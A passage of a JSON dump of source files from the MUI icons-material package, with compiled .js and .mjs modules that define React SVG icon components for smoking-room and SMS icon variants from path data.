    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 13H22v3h-1.5zm-6-4.35h1.53c1.05 0 1.97.74 1.97 2.05V12h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35M17 13h-2.34L17 15.34zm1.85-8.27c.62-.61 1-1.45 1-2.38h-1.5c0 1.02-.83 1.85-1.85 1.85v1.5c2.24 0 4 1.83 4 4.07V12H22V9.76c0-2.22-1.28-4.14-3.15-5.03M18 13h1.5v3H18zM3.41 4.59 2 6l7 7H2v3h10l7 7 1.41-1.41z\"\n}), 'SmokeFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokeFreeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 13H22v3h-1.5zM18 13h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38h-1.5c0 1.02-.83 1.85-1.85 1.85v1.5c2.24 0 4 1.83 4 4.07V12H22V9.76c0-2.22-1.28-4.14-3.15-5.03M14.5 8.65h1.53c1.05 0 1.97.74 1.97 2.05V12h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35M17 13h-2.34L17 15.34zM3.41 4.59 2 6l7 7H2v3h10l7 7 1.41-1.41z\"\n}), 'SmokeFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokeFreeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 13H22v3h-1.5zM18 13h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38h-1.5c0 1.02-.83 1.85-1.85 1.85v1.5c2.24 0 4 1.83 4 4.07V12H22V9.76c0-2.22-1.28-4.14-3.15-5.03M14.5 8.65h1.53c1.05 0 1.97.74 1.97 2.05V12h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35M17 13h-2.34L17 15.34zM3.41 4.59 2 6l7 7H2v3h10l7 7 1.41-1.41z\"\n}), 'SmokeFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRooms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}), 'SmokingRooms');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRooms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}), 'SmokingRooms');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16h1.5v3H18zM2 16h15v3H2zm14.03-5.8H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16M20.5 16H22v3h-1.5zm-1.65-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03\"\n}), 'SmokingRoomsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16h1.5v3H18zM2 16h15v3H2zm14.03-5.8H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16M20.5 16H22v3h-1.5zm-1.65-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03\"\n}), 'SmokingRoomsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 16h-12c-.83 0-1.5.67-1.5 1.5S2.67 19 3.5 19h12c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5m3.35-8.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.42.41-2.45 1.73-2.42 3.28.03 1.84 1.62 3.29 3.46 3.29h1.42c1.05 0 1.97.74 1.97 2.05v.55c0 .41.33.75.75.75h.01c.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16M18 16h1.5v3H18zm2.5 0H22v3h-1.5z\"\n}), 'SmokingRoomsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 16h-12c-.83 0-1.5.67-1.5 1.5S2.67 19 3.5 19h12c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5m3.35-8.27c.62-.61 1-1.45 1-2.38 0-1.51-1-2.79-2.38-3.21-.48-.14-.97.22-.97.72 0 .33.21.62.52.71.77.23 1.33.94 1.33 1.78 0 .82-.53 1.51-1.27 1.76-.33.11-.58.39-.58.74V8c0 .37.27.69.64.75 1.93.31 3.36 2 3.36 4.02v1.48c0 .41.34.75.75.75s.75-.34.75-.75v-1.49c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47h-1.3c-1.02 0-1.94-.73-2.07-1.75-.12-.95.46-1.7 1.3-1.93.32-.09.54-.38.54-.72 0-.49-.46-.86-.93-.72-1.42.41-2.45 1.73-2.42 3.28.03 1.84 1.62 3.29 3.46 3.29h1.42c1.05 0 1.97.74 1.97 2.05v.55c0 .41.33.75.75.75h.01c.41 0 .75-.33.75-.75v-.89c-.01-1.81-1.61-3.16-3.48-3.16M18 16h1.5v3H18zm2.5 0H22v3h-1.5z\"\n}), 'SmokingRoomsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}), 'SmokingRoomsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}), 'SmokingRoomsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}, \"1\")], 'SmokingRoomsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmokingRoomsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16h15v3H2zm18.5 0H22v3h-1.5zM18 16h1.5v3H18zm.85-8.27c.62-.61 1-1.45 1-2.38C19.85 3.5 18.35 2 16.5 2v1.5c1.02 0 1.85.83 1.85 1.85S17.52 7.2 16.5 7.2v1.5c2.24 0 4 1.83 4 4.07V15H22v-2.24c0-2.22-1.28-4.14-3.15-5.03m-2.82 2.47H14.5c-1.02 0-1.85-.98-1.85-2s.83-1.75 1.85-1.75v-1.5c-1.85 0-3.35 1.5-3.35 3.35s1.5 3.35 3.35 3.35h1.53c1.05 0 1.97.74 1.97 2.05V15h1.5v-1.64c0-1.81-1.6-3.16-3.47-3.16\"\n}, \"1\")], 'SmokingRoomsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sms.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'Sms');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sms.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'Sms');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'SmsFailed');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'SmsFailed');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}), 'SmsFailedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}), 'SmsFailedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SmsFailedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 12h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SmsFailedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-9 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'SmsFailedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zm-9 12h-2v-2h2zm0-4h-2V6h2z\"\n}), 'SmsFailedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM11 6h2v4h-2zm0 6h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'SmsFailedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsFailedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 17.17 5.17 16H20V4H4zM11 6h2v4h-2zm0 6h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zm-9-4h2v2h-2zm0-6h2v4h-2z\"\n}, \"1\")], 'SmsFailedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM7 9h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2z\"\n}), 'SmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16zM7 9h2v2H7zm8 0h2v2h-2zm-4 0h2v2h-2z\"\n}), 'SmsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'SmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'SmsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'SmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16zM9 11H7V9h2zm4 0h-2V9h2zm4 0h-2V9h2z\"\n}), 'SmsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SmsTwoTone.js",
